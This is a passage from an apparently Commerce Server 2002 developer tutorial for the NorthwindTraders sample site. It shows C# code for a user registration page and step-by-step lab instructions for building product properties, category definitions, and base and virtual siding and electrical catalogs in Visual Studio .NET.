// the new user account and populate its profile.
// Also, check to make sure that the passwords are
// the same.
if ((String.Compare(passwordRetype.Text, password.Text) == 0))
{

// Get the profile context and fill it with our data.
   prof = profContext.CreateProfile(userName.Text, "UserObject");
   prof.Properties["GeneralInfo.logon_name"].Value = userName.Text;
   prof.Properties["GeneralInfo.user_security_password"].Value = password.Text;
   prof.Properties["GeneralInfo.first_name"].Value = firstName.Text;
   prof.Properties["GeneralInfo.last_name"].Value = lastName.Text;
   prof.Properties["GeneralInfo.email_address"].Value = emailAddress.Text;
   prof.Properties["AccountInfo.account_status"].Value = 1;
   prof.Properties["AccountInfo.date_registered"].Value = DateTime.Now;
   prof.Properties["GeneralInfo.u_gender"].Value = (string) gender.SelectedItem.Value;
   prof.Properties["GeneralInfo.u_userDescription"].Value = (string) userDescription.SelectedItem.Value;
   prof.Update();

   // Set the authorization ticket.
   string userID = (string)prof.Properties["GeneralInfo.user_id"].Value;
   authInfo.SetAuthTicket(userName.Text, true, 200);
   authInfo.SetProfileTicket(userName.Text, true);

   messageLabel.Text = "";
   Response.Redirect("default.aspx");
}
else
{
   messageLabel.Text = "Password does not match";
}
}
catch(Exception exp)
{
   // This means that this is a brand new name!
   messageLabel.Text = exp.Message; }

Insert code into the Page_Load() handler

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, enter the following code in the Page_Load() event handler:
    // In here, we need to load the DropDownLists with the data
// from the site terms.
ProfileContext profContext = CommerceContext.Current.ProfileSystem;
SiteTerm genderTerm = profContext.GetSiteTerm("u_gender");
SiteTerm userDescriptionTerm = profContext.GetSiteTerm("u_userDescription");

if (gender.Items.Count == 0)
{
   gender.Items.Add(new ListItem("",""));
   foreach(SiteTermElement item in genderTerm.Elements)
   {
      ListItem li = new ListItem(item.Name,item.Value);
      gender.Items.Add(li);
   }
}
if (userDescription.Items.Count == 0)
{
   userDescription.Items.Add(new ListItem("",""));
   foreach(SiteTermElement item in userDescriptionTerm.Elements)
   {
      ListItem li = new ListItem(item.Name,item.Value);
      userDescription.Items.Add(li);
   }
}

    The new registration page is created.

To set UserRegistration.aspx as the start page

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click UserRegistration.aspx, and then select Set As Start Page.
  2. Press F5 to build and execute the project.


Lab 2: Building and Implementing a Catalog

In this lab you will learn how to build a product catalog and implement it on your Web site using the development environment of Visual Studio. NET. After completing this lab, you will be able to do the following:

  • Create property, product, and category definitions.
  • Add new products, product variants, and product categories.
  • Categorize products.
  • Associate similar products into product families.
  • Search the site catalog.
  • Apply both category pricing and custom pricing to products.
  • Work with multiple variants of a common base product.

Using the new Commerce Server 2002 Base Class Libraries (BCLs), you will also be able to programmatically do the following:

  • Enumerate the catalog and display it.
  • Browse categories within the catalog.
  • Databind Commerce Server data to databinding controls.
  • Use the Commerce Server 2002 DataBinding Expression Wizard.
  • Manager product variations in code (including two different product display formats).

Step 1: Create Product Properties

Step 2: Create Product Definitions

Step 3: Create New Category Definition

Step 4: Create a New Base Catalog

Step 5: Add Category Values to the Category Definition

Step 6: Add Products to a Catalog

Step 7: Import a Catalog

Step 8: Create a Virtual Catalog

Step 9: Display Products in a Hierarchical Format

Step 10: Implement Product Drill-down

Step 11: Implement Product Detail Page


Step 1: Create Product Properties

The first step in building a catalog is to define product properties, which are used to define products in your catalog.

In this step you will define a new product (ResidentialSiding), which has several properties, such as name, description, year, make, and model. To define the ResidentialSiding product, you create all of its properties such as, siding types, their prices, SKU numbers.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Catalog Definition Designer.
  5. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  6. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Multilingual Multiple Choice from the list.
  7. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingType.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Store data for analysis | Select this check box to export the property to the Data Warehouse.
  8. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Siding Type.
  9. Click Accept.
  10. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Values section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Value | Type Aluminum.
  11. Click Accept.
  12. Repeat steps 10 and 11 to add Values for: Vinyl, Wood-Laminate, and Cedar.
  13. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  14. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Multilingual Multiple Choice from the list.
  15. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingColor.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Store data for analysis | Select this check box to export the property to the Data Warehouse.
  16. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Siding Color.
  17. Click Accept.
  18. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Values section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Value | Type White.
  19. Click Accept.
  20. Repeat steps 18 and 19 to add values for: Brown, Red, and Blue.
  21. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  22. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Multilingual Multiple Choice from the list.
  23. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingMaintenanceFree.
    Display on Site | Select this check box to display the specified property to users on your Web site.
  24. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Is Siding Maintenance Free?.
  25. Click Accept.
  26. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Values section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Value | Type Yes.
  27. Click Accept.
  28. Repeat steps 26 and 27 to add a value for No.
  29. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  30. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Number from the list.
  31. In the Property Definition: New (Number) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingWarrantyLengthYears.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Store data for analysis | Select this check box to export the property to the Data Warehouse.
    Minimum Value | Type 0.
    Maximum Value | Type 100.
  32. In the Property Definition: New (Number) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Siding warranty length in years.
  33. Click Accept.
  34. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  35. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Text from the list.
  36. In the Property Definition: New (Text) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type ProductBaseName.
    Free text searchable | Clear the check box so that free text searching on your catalog does not apply to values stored in this property.
    Specification searchable | Clear the check box for this property. It is not used in specification searches.
    Minimum length | Type 0.
    Maximum length | Type 100.
    Assign to all product types | Select this check box to assign the property to all product types.
    Is required | Select this check box to indicate that this property must contain a value.
  37. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  38. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select File Name from the list.
  39. In the Property Definition: New (File Name) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type Image.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Assign to all product types | Select this check box to assign the property to all product types.
  40. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.


Step 2: Create Product Definitions

After you create product properties, you must create product definitions.

Product definitions describe the specific qualities of a particular product. These product qualities are called product properties. You create a product definition by assigning product properties to it.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Catalog Definition Designer.
  5. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  6. In the Catalog Definition Designer: Product Definitions screen, click New on the toolbar.
  7. In the Product Definition: New screen, in the Name box, type ResidentialSiding.
  8. In the Product Properties section, add the following properties to the Assigned properties list:
    • Image
    • Name
    • ProductBaseName
    • Description
    • SidingMaintenanceFree
    • SidingWarrantyLengthYears
    • SidingType
  9. In the Product Variant Properties section, add the following properties to the Assigned properties list:
    • SidingColor
    • SKU
  10. To save the product definition and return to the Catalog Definition Designer: Product Definition screen, click Save and go back on the toolbar.


Step 3: Create New Category Definition

After you create product definitions, you create a category definition.

Category definitions describe the specific qualities of the categories in your catalog. These category qualities are called category properties. You create a category definition by assigning category properties to it. For example, the Department category definition might have the following category properties: Name, Description, Image File Name, Image Height, and Image Width. When you create a category based on the Department category definition, you enter values for the category properties. For example, the Name category property might be "Sport Shirts Department."

In this step you will create a category definition for Building Materials.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Catalog Definition Designer.
  5. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Category Definitions from the drop-down list.
  6. In Category Definition: New screen, in the Name box, type Building Materials.
  7. To save the new category definition and return to the Catalog Definition Designer: Category Definitions screen, click Save and go back on the toolbar.


Step 4: Create a New Base Catalog

After you define product and category definitions for your new catalog, you add products to the catalog. You can then categorize your products to let users search and navigate the catalog on your site.

Before you can add products, you must first create a new catalog instance that will hold the products.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, click New on the toolbar, and then select New Base Catalog from the drop-down list.
  7. In the Catalog Properties - New Base Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type ResidentialSiding.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, your trading partner uses the Start date to determine when the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this is the current date plus three months. For example, if you create your catalog in December, the catalog end date will be March.
    Currency | Select US Dollar - USD as the currency for the catalog from the drop-down list.
    Product unique ID | Select ProductBaseName as the unique identifier from the drop-down list.
    Product variant unique ID | Select SKU as the unique identifier from the drop-down list for the product variants.
  8. In the Catalog Languages section, do the following:
    Use this To do this
    Add Select the languages that the catalog will support.

    A catalog can support up to 10 languages. You can add five languages, save the catalog, and then add five more.

    For this step, add English - United States.
    Default Language Select English - United States from the drop-down list as the default language for your catalog.

    If you do not specify a default language, Commerce Server uses the same language as the Microsoft Windows operating system on your Business Desk client computer.
    Reporting Language Select English - United States from the drop-down list as the language to be used for the properties that will be stored in the Data Warehouse.

    This language will be used for reports and analysis.
  9. To enter the display name for the catalog, in the Language box, select the English - United States language, and then click Edit.
  10. In the Display name box, type Building Materials as the name for the catalog. This is the catalog name that will appear on your Web site.
  11. Click Accept.
  12. To save the catalog and return to the Catalogs screen, click Save and go back on the toolbar.


Step 5: Add Category Values to the Category Definition

After your create a base catalog, you add a list of categories to it that enables users to browse the catalog by category.

In this step you will add category values to the category definitions for the ResidentialSiding base catalog.

After you create a category tree, you first create all the categories, and then you organize them in a hierarchy that resembles what users see on the Web site when they search for products.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, select the ResidentialSiding catalog, and then click Open on the toolbar.
  7. In the Catalog Content - Residential Siding (English - United States) screen, in the Categories section, click New.
  8. In the New Category dialog box, select Building Materials, and then click Continue.
  9. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type SidingType.
    Display Name | Type Siding Type.
  10. To save the catalog property, click Save and create new on the toolbar .
  11. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type MaintenanceFree.
    Display Name | Type Is Maintenance Free?.
  12. To save the catalog property, click Save and create new on the toolbar.
  13. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Aluminum.
    Display Name | Type Aluminum.
  14. To save the catalog property, click Save and create new on the toolbar.
  15. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Vinyl.
    Display Name | Type Vinyl.
  16. To save the catalog property, click Save and create new on the toolbar.
  17. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Wood-Laminate.
    Display Name | Type Wood-Laminate.
  18. To save the catalog property, click Save and create new on the toolbar.
  19. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Cedar.
    Display Name | Type Cedar.
  20. To save the catalog property, click Save and create new on the toolbar.
  21. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type IsMaintenanceFree.
    Display Name | Type Is Maintenance Free.
  22. To save the catalog property and return to the Catalog Content - ResidentialSiding (English - United States) screen, click Save and create new on the toolbar.
  23. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type IsNotMaintenanceFree.
    Display Name | Type Is Not Maintenance Free.
  24. To save the catalog property and return to the Catalog Content - ResidentialSiding (English - United States) screen, click Save and go back on the toolbar.
  25. In the Catalog Content - ResidentialSiding (English - United States) screen, in the Categories section, in the Categories list select Siding Type, and then click Edit.
  26. In the Catalog Editor - ResidentialSiding (English - United States) - Siding Type (Building Materials) screen, in the Assigned Categories section, add the following categories from the Available child categories to the Assigned child categories list:
    • Aluminum
    • Vinyl
    • Wood-Laminate
    • Cedar
  27. Click Save and go back on the toolbar to save the catalog and return to the Catalog Content - ResidentialSiding (English - United States) screen.
  28. In the Catalog Content - ResidentialSiding (English - United States) screen, in the Categories section, in the Categories list select MaintenanceFree, and then click Edit.
  29. In the Catalog Editor - ResidentialSiding (English - United States) - MaintenanceFree (Building Materials) screen, in the Assigned Categories section, add the following categories from the Available child categories to the Assigned child categories list:
    • IsMaintenanceFree
    • IsNotMaintenanceFree
  30. To save the catalog and return to the Catalog Content - ResidentialSiding (English - United States) screen, click Save and go back on the toolbar.


Step 6: Add Products to a Catalog

The final step in implementing the catalog is to add products. In this step you add products to the new catalog and refresh the product catalog system.

To add products to the catalog

To refresh and publish the catalog

To add products to the catalog

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, select the ResidentialSiding catalog, and then click Open on the toolbar.
  7. In the Catalog Content - <Residential Siding> screen, in the Products section, click New.
  8. In the New Product dialog box, select the product definition for ResidentialSiding, and then click OK.
  9. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type WeatherOne.
    Name | Type WeatherOne.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select Yes from the drop-down list.
    SideWarrantyLengthYears | Type 10.
    SideType | Select Vinyl from the drop-down list.
    Default Price | Type 999.95.
  10. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 1111.
    SidingColor | Select White from the drop-down list.
  11. Click Done.
  12. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 1112.
    SidingColor | Select Brown from the drop-down list.
  13. Click Done.
  14. In the Assigned Categories section, select both IsMaintenanceFree and Vinyl from the Available categories list, and then click Add.
  15. Click Save and create new on the toolbar.
  16. In the New Product dialog box, select the product ResidentialSiding definition, and then click OK.
  17. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type TopChoice.
    Name | Type TopChoice.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select Yes from the drop-down list.
    SideWarrantyLengthYears | Type 15.
    SideType | Select Vinyl from the drop-down list.
    Default Price | Type 1099.95.
  18. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 2113.
    SidingColor | Select Red from the drop-down list.
  19. Click Done.
  20. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 2114.
    SidingColor | Select Blue from the drop-down list.
  21. Click Done.
  22. In the Assigned Categories section, select both IsMaintenanceFree and Vinyl from the Available categories list, and then click Add.
  23. Click Save and create new on the toolbar.
  24. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type WeatherMaster.
    Name | Type WeatherMaster.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select No from the drop-down list.
    SideWarrantyLengthYears | Type 5.
    SideType | Select Aluminum from the drop-down list.
    Default Price | Type 799.95.
  25. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3111.
    SidingColor | Select White from the drop-down list.
  26. Click Done.
  27. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3112.
    SidingColor | Select Brown from the drop-down list.
  28. Click Done.
  29. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3113.
    SidingColor | Select Red from the drop-down list.
  30. Click Done.
  31. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3114.
    SidingColor | Select Blue from the drop-down list.
  32. Click Done.
  33. In the Assigned Categories section, select both IsMaintenanceNotFree and Aluminum from the Available categories list, and then click Add.
  34. Click Save and create new on the toolbar.
  35. In the New Product dialog box, select the product ResidentialSiding definition, and then click OK.
  36. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type WeatherMaster2.
    Name | Type WeatherMaster2.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select Yes from the drop-down list.
    SideWarrantyLengthYears | Type 30.
    SideType | Select Cedar from the drop-down list.
    Default Price | Type 1599.95.
  37. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 4112.
    SidingColor | Select Brown from the drop-down list.
  38. Click Done.
  39. In the Assigned Categories section, select both IsMaintenanceFree and Cedar from the Available categories list, and then click Add.
  40. Click Save and create new on the toolbar.
  41. In the New Product dialog box, select the product ResidentialSiding definition, and then click OK.
  42. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type PrimeFace.
    Name | Type PrimeFace.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select No from the drop-down list.
    SideWarrantyLengthYears | Type 5.
    SideType | Select Wood-Laminate from the drop-down list.
    Default Price | Type 599.95.
  43. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 5222.
    SidingColor | Select Brown from the drop-down list.
  44. Click Done.
  45. In the Assigned Categories section, select both IsMaintenanceNotFree and Wood-Laminate from the Available categories list, and then click Add.
  46. To save the product variant and return to the Catalog Editor screen click Save and go back on the toolbar.

After you have implemented a fully functioning catalog with property, product, and category definitions, and with products, you must refresh and publish the catalog using the Catalog Editor module.

To refresh and publish the catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the ResidentialSiding catalog, and then click Refresh on the toolbar.


Step 7: Import a Catalog

A Commerce Server catalog in Extensible Markup Language (XML) file format contains both catalog definitions and product data. You can import a Commerce Server catalog XML file, and then use the Catalog Editor module to make changes to the product data.

In this lab you will import a sample XML-based catalog from the Commerce Server 2002 CD into the Commerce Server catalog database. You can assume that your business partner created a catalog containing electrical products.

Note

  • The sample electrical.xml catalog is located in the \Support\.NET Tutorial Data\Catalog Data\Catalog Items\ folder on the Commerce Server 2002 CD. You must copy this catalog and save it on your computer.
  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, click Import on the toolbar, and then select Import XML from the drop-down list.
  7. In the Import XML Catalog dialog box, do the following:
    Use this | To do this
    Specify a locally accessible XML file | Click Browse to navigate to the electrical.xml XML catalog file located on your Business Desk client computer.
  8. Click OK.

This process may take a few minutes to complete.

To see the catalog after you import it, click Catalog Editor. This step refreshes the Catalog Editor screen.


Step 8: Create a Virtual Catalog

A Commerce Server 2002 virtual catalog references the product data in one or more base catalogs. Products are represented only once in the database, regardless of how many virtual catalogs they appear in.

There are three primary uses for virtual catalogs:

  • To aggregate multiple catalogs so they appear as one catalog to users
  • To price products in multiple currencies
  • To provide special pricing, or subsets of products, for specified groups of users

Virtual catalogs support price rules. That is, you can specify whether the price for the category or product is the same as the price in the base catalog, or different, for example, a percentage or set amount more or less.

In this step, you will implement multilingual/multicurrency properties and consolidate multiple base catalogs into a virtual catalog. In a fully multilingual and multi-currency enabled site, a virtual catalog is implemented for each language/currency combination that will be available for the user to browse.

To implement a simplified way of handling multiple locales, you will be appending the LCID (LocaleID) to the end of the catalog name. For example, LCID=1033 to implement a single virtual catalog to handle US English/US Dollars.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, click New on the toolbar, and then select New Virtual Catalog from the drop-down list.
  7. In the Catalog Properties – New Virtual Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type BuildingMaterials1033.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, this date lets your trading partner know the first date that the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this is the current date plus three months. For example, if you create your catalog in December, the catalog end date will be March.
    Currency | Select the US Dollar - USD currency for the catalog from the drop-down list.
  8. In the Catalog Languages section, click Add to select English - United States as the supported language for the catalog.
  9. In the Default Language box, select English - United States from the drop-down list.
  10. In the Reporting Language box, select English - United States from the drop-down list.
  11. To enter the display name for the catalog, in the Language box, select the language English - United States, and then click Edit.
  12. In the Display name box, type Building Materials as the name for the catalog. This is the catalog name that will appear on your Web site.
  13. Click Accept.
  14. To save the catalog and return to the Catalogs screen, click Save and go back on the toolbar.
  15. In the Catalogs screen, select BuildingMaterials1033, and then click Open on the toolbar.
  16. In the Catalog Content - BuildingMaterials1033 (English - United States) screen, in the Include/exclude section, click New.
  17. In the Catalog box, click the ellipsis […] button.
  18. In the Catalog Picker dialog box, select the ResidentialSiding catalog, and then click Select.
  19. In the Rule box, select Include Catalog from the drop-down list.
  20. Click Done.
  21. Repeat steps 16 to 20 to add the Electrical base catalog to the BuildingMaterials1033 virtual catalog.
  22. To save the virtual catalog and return to the Catalogs screen, click Save and go back on the toolbar.
  23. In the Catalogs screen, select the BuildingMaterials1033 virtual catalog, and then click Rebuild virtual catalogs on the toolbar.

    The message, “Catalog Rebuild process has been started successfully…” appears.

  24. Click OK, and then click Catalog Editor to refresh the list of catalogs.

    The catalog you selected appears in the list with “Up-to-date” in the Status section.

    If “Rebuilding” appears in the Status section, wait a few seconds, and then click Catalog Editor again.


Step 9: Display Products in a Hierarchical Format

To display products in your catalog in a hierarchical format, you use the product drill-down method.

In this step you will create DataLists, a Web User Control. Using DataBindings properties, you will dynamically populate the Control and display it on the default page. You will implement code on three separate pages to handle the display of your catalog data. Your site will match the pages up with the levels as the following hierarchy:

Level | Category | Page | Description
1 | High-level | Default.aspx | Displays a text-only header.
2 | Subcategories | Default.aspx | Lists subcategories expanded under their parent (the high-level category) on the default page.
3 | Product Listing | ProductListing.aspx | Lists products from a given category on a custom ASP DataList.
4 | Product Detail | ProductDetail.aspx | Displays detailed information about the product and the product variants.

Note

  • In this step you will be adding label and DataList objects on to a Web User Control page. These objects are automatically arranged along the left-hand side in flow-layout mode. The Web form objects should be placed one above the other, alternating with first the label and then the DataList. The DataList should be slightly indented using a couple of spaces at the beginning of the line. You will be using it as a menu/navigation aid off of the default page, and the text values on the labels will be set programmatically later in this step.

In this step you will do the following:

  1. Add controls to display categories.
  2. Create DataList item templates.
  3. Create hyperlinks for the DataList items.
  4. Populate controls from Commerce Server data.
  5. Add the Web User control to the Default page.

To add controls to display categories

To create DataList item templates

To create hyperlinks for the DataList items

To populate controls from Commerce Server data

To add the Web User control to the Default page

To add controls to display categories

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web User Control.
  5. In the Add New Item - NorthwindTraders dialog box, in the Name box, type _Menu.acsx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  8. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingTypeLabel.
  9. In the Toolbox window, in the Web Forms, drag and drop the DataList object onto the form.
  10. Make sure the DataList object is indented under the previous label object.
  11. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingTypeDataList.
  12. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, click View on the toolbar, and then click Toolbox.
  13. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the form.
  14. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingMainFreeLabel.
  15. In the Toolbox window, in the Web Forms, drag and drop DataList object onto the form.
  16. Make sure the DataList object is indented under the previous label object.
  17. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingMainFreeDataList.
  18. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, click View on the toolbar, and then click Toolbox.
  19. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  20. In the Properties window, make sure the object you just created is selected, and then in the ID box, type electricLabel.
  21. In the Toolbox window, in the Web Forms, drag and drop a DataList object onto the form.
  22. Make sure that the DataList object is indented under the previous label object.
  23. In the Properties window, make sure the object you just created is selected, and then in the ID box, type electricDataList.

    Notes

    • The item-template is a pre-arranged set of controls used to display content for a given row in a dataset. For example, you can display a product with a picture right next to it. For each DataList object, you add a Hyper-Link to each of the DataList.

Now you will populate the DataList controls with the item-template content that will be displayed to the user.

To create DataList item templates

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, right-click the sidingTypeDataList, select Edit Template, and then click Item Templates.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  4. In the Properties window, make sure the control you just created is selected, and then in the ID box, type sidingTypeLink.
  5. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  6. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
